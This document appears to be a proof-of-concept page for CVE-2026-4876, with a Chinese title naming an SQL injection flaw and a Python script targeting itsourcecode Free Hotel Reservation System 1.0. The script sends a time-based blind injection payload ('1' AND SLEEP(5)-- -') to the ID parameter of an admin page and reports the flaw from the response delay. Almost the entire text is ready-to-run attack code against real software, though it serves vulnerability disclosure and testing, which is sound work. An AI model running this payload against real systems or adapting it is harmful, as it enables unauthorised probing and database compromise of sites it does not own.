CVE-2026-4876 Free Hotel Reservation System SQL注入漏洞

import requests def check_sqli_vulnerability(target_host): """ PoC for CVE-2026-4876 SQL Injection Vulnerability Target: itsourcecode Free Hotel Reservation System 1.0 File: /admin/mod_amenities/index.php?view=editpic Parameter: ID """ url = f"{target_host}/admin/mod_amenities/index.php" # Using a basic time-based blind SQL injection payload for demonstration payload = "1' AND SLEEP(5)-- -" params = { "view": "editpic", "ID": payload } try: print(f"[*] Sending request to: {url}") response = requests.get(url, params=params, timeout=10) # Check if the response time indicates a delay caused by SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: The application responded with a delay.") print("[+] This indicates that the SQL payload was executed by the backend database.") else: print("[-] Vulnerability not detected or target is not vulnerable.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" check_sqli_vulnerability(target)